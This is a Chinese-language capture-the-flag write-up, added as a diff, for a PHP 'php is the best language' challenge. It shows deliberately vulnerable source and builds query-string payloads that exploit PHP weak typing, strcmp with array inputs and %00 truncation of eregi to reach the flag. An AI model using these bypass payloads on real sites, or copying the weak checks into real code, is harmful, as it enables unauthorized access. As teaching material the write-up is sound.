|
| 1 | +# Challenge |
| 2 | +```php |
| 3 | +<?php |
| 4 | +show_source(__FILE__); |
| 5 | +$v1=0;$v2=0;$v3=0; |
| 6 | +$a=(array)json_decode(@$_GET['foo']); |
| 7 | +if(is_array($a)){ |
| 8 | + is_numeric(@$a["bar1"])?die("nope"):NULL; |
| 9 | + if(@$a["bar1"]){ |
| 10 | + ($a["bar1"]>2016)?$v1=1:NULL; |
| 11 | + } |
| 12 | + if(is_array(@$a["bar2"])){ |
| 13 | + if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); |
| 14 | + $pos = array_search("nudt", $a["a2"]); |
| 15 | + $pos===false?die("nope"):NULL; |
| 16 | + foreach($a["bar2"] as $key=>$val){ |
| 17 | + $val==="nudt"?die("nope"):NULL; |
| 18 | + } |
| 19 | + $v2=1; |
| 20 | + } |
| 21 | +} |
| 22 | +$c=@$_GET['cat']; |
| 23 | +$d=@$_GET['dog']; |
| 24 | +if(@$c[1]){ |
| 25 | + if(!strcmp($c[1],$d) && $c[1]!==$d){ |
| 26 | + eregi("3|1|c",$d.$c[0])?die("nope"):NULL; |
| 27 | + strpos(($c[0].$d), "htctf2016")?$v3=1:NULL; |
| 28 | + } |
| 29 | +} |
| 30 | +if($v1 && $v2 && $v3){ |
| 31 | + include "flag.php"; |
| 32 | + echo $flag; |
| 33 | +} |
| 34 | +?> |
| 35 | +``` |
| 36 | + |
| 37 | +# Solution |
| 38 | +## v1 |
| 39 | +```php |
| 40 | +$a=(array)json_decode(@$_GET['foo']); |
| 41 | +if(is_array($a)){ |
| 42 | + is_numeric(@$a["bar1"])?die("nope"):NULL; |
| 43 | + if(@$a["bar1"]){ |
| 44 | + ($a["bar1"]>2016)?$v1=1:NULL; |
| 45 | + } |
| 46 | + .... |
| 47 | +} |
| 48 | +``` |
| 49 | +传入的foo,经过一次json_decode,然后转换成array。然后判断 `$a["bar1"]` 是否满足 is_numeric,若满足则die掉。接下来又判断 `$a["bar1"]` 是否大于 2016 。 |
| 50 | + |
| 51 | +利用php弱类型特性,可以设置 |
| 52 | +``` |
| 53 | +$a["bar1"] = 2017a |
| 54 | +``` |
| 55 | + |
| 56 | +这样is_numeric时会判断其为字符串而不是数字,而在与2016的比较中,会直接转换成2017,满足大于2016。这样 v1 就被设置为 1 了。 |
| 57 | + |
| 58 | +## v2 |
| 59 | +```php |
| 60 | +if(is_array(@$a["bar2"])){ |
| 61 | + if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); |
| 62 | + $pos = array_search("nudt", $a["a2"]); |
| 63 | + $pos===false?die("nope"):NULL; |
| 64 | + foreach($a["bar2"] as $key=>$val){ |
| 65 | + $val==="nudt"?die("nope"):NULL; |
| 66 | + } |
| 67 | + $v2=1; |
| 68 | +} |
| 69 | +``` |
| 70 | + |
| 71 | +接下来,要求`$a["bar2"]`是个数组,其中元素的个数为5个(count($a["bar2"])!==5),同时要求`$a["bar2"][0]`是数组。所以我们设置: |
| 72 | +``` |
| 73 | +$a["bar2"] = [[],2,3,4,5] |
| 74 | +``` |
| 75 | + |
| 76 | +对于 `$pos = array_search("nudt", $a["a2"]);`,它搜索字符串“nudt”在$a["a2"]中的位置。若没有找到,array_search返回false,会通过严格比较导致die掉。所以这里要设置: |
| 77 | +``` |
| 78 | +$a["a2"] = “nudt” |
| 79 | +``` |
| 80 | +注意这里因为用了`$pos===false?`的严格比较,所以0不`===`false。 |
| 81 | + |
| 82 | +之后就能设置 v2 = 1 |
| 83 | + |
| 84 | +结合$a是由json_decode得来,所以第一个payload为: |
| 85 | +``` |
| 86 | +foo={"bar1":"2017a","bar2":[[],2,3,4,5],"a2":["nudt"]} |
| 87 | +``` |
| 88 | + |
| 89 | +## v3 |
| 90 | +```php |
| 91 | +$c=@$_GET['cat']; |
| 92 | +$d=@$_GET['dog']; |
| 93 | +if(@$c[1]){ |
| 94 | + if(!strcmp($c[1],$d) && $c[1]!==$d){ |
| 95 | + eregi("3|1|c",$d.$c[0])?die("nope"):NULL; |
| 96 | + strpos(($c[0].$d), "htctf2016")?$v3=1:NULL; |
| 97 | + } |
| 98 | +} |
| 99 | +if($v1 && $v2 && $v3){ |
| 100 | + include "flag.php"; |
| 101 | + echo $flag; |
| 102 | +} |
| 103 | +``` |
| 104 | + |
| 105 | +先会用strcmp进行比较,利用数组array和字符串进行strcmp比较会返回null,而且数组array也不会等于字符串,我们可以设置cat[1]为一个数组。 |
| 106 | + |
| 107 | +接下来用eregi对拼接后的字符串`$d.$c[0]`进行正则匹配,若匹配到则die掉。而下一步又要求拼接字符串`$c[0].$d`中要有字符串“htctf2016”。这里利用%00对eregi的截断功能,则在正则匹配eregi时在开头时就匹配结束掉。 |
| 108 | + |
| 109 | +`strpos(($c[0].$d), "htctf2016")`中,还要求“htctf2016”不能出现在开头。 |
| 110 | + |
| 111 | +所以设置: |
| 112 | +``` |
| 113 | +$d = %00 即 dog=%00 |
| 114 | +
|
| 115 | +$c[0] = "ahtctf2016" |
| 116 | +``` |
| 117 | + |
| 118 | +所以综上所述,构造最后的payload如下: |
| 119 | +``` |
| 120 | +?foo={"bar1":"2017e","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00 |
| 121 | +``` |
| 122 | + |
| 123 | + |
| 124 | +# Refference |
| 125 | ++ [chybeta : php是最好的语言](https://chybeta.github.io/2017/08/18/XNUCA-2017-Web%E4%B8%93%E9%A2%98%E8%B5%9B%E5%89%8D%E6%8C%87%E5%AF%BC-php%E6%98%AF%E6%9C%80%E5%A5%BD%E7%9A%84%E8%AF%AD%E8%A8%80-writeup/) |
0 commit comments